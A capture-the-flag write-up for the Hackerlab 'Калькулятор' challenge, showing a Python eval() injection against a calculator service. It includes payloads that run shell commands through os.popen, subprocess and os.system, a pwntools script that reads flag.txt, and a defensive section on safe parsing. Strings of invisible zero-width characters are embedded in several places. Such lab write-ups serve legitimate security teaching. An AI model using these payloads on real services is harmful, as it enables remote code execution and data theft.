Калькулятор

Platform: hackerlab | Category: Misc | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-25 | Status: Solved Techniques: python_eval_injection

Summary

Server: 62.173.140.174:10000

Калькулятор — Hackerlab

Description

Я написал свой калькулятор с множеством функций. Протестируешь?

Server: 62.173.140.174:10000

Analysis

Connect to the service on port 10000:

 bash read-only • copy allowed Copy
nc 62.173.140.174 10000

The service is a calculator that accepts mathematical expressions and evaluates them. This is a classic sign of using eval() in Python to process user input.

Vulnerability Check

Testing Python code injection:

 python read-only • copy allowed Copy
__import__("os").popen("ls -la").read()

The server returns a file listing:

flag.txt
requirements.txt
service.py

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This confirms that user input is passed directly to eval() without any sanitization.

Solution

Read the flag by executing a shell command:

 python read-only • copy allowed Copy
__import__("os").popen("cat flag.txt").read()

Full Exploit

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""
Hackerlab - Калькулятор
Python eval() injection exploit
"""

from pwn import *

HOST = "62.173.140.174"
PORT = 10000

# Connect to service
r = remote(HOST, PORT)

# Wait for prompt
r.recvuntil(b">")

# Send payload to read flag
payload = '__import__("os").popen("cat flag.txt").read()'
r.sendline(payload.encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Receive flag
response = r.recvall(timeout=2)
print(response.decode())

r.close()

Alternative Payloads

 python read-only • copy allowed Copy
# Via subprocess
__import__("subprocess").check_output(["cat", "flag.txt"]).decode()

# Via os.system (output goes to server's stdout)
__import__("os").system("cat flag.txt")

# Via open()
open("flag.txt").read()

Why This Works

The eval() function in Python executes arbitrary Python code:

 python read-only • copy allowed Copy
# Vulnerable code (roughly what service.py looks like)
user_input = input("Enter expression: ")
result = eval(user_input)  # DANGEROUS!
print(result)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag name REDACTED (now eval is evil) is a direct indication that using eval() on user input is a serious security vulnerability.

Defense

Proper ways to implement a calculator:

1. Use ast.literal_eval() for safe parsing
2. Parse expressions manually with a whitelist of operators
3. Use libraries like simpleeval with restrictions
4. Never pass user input to eval()/exec()

References

• Python eval() Security
• OWASP Code Injection ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍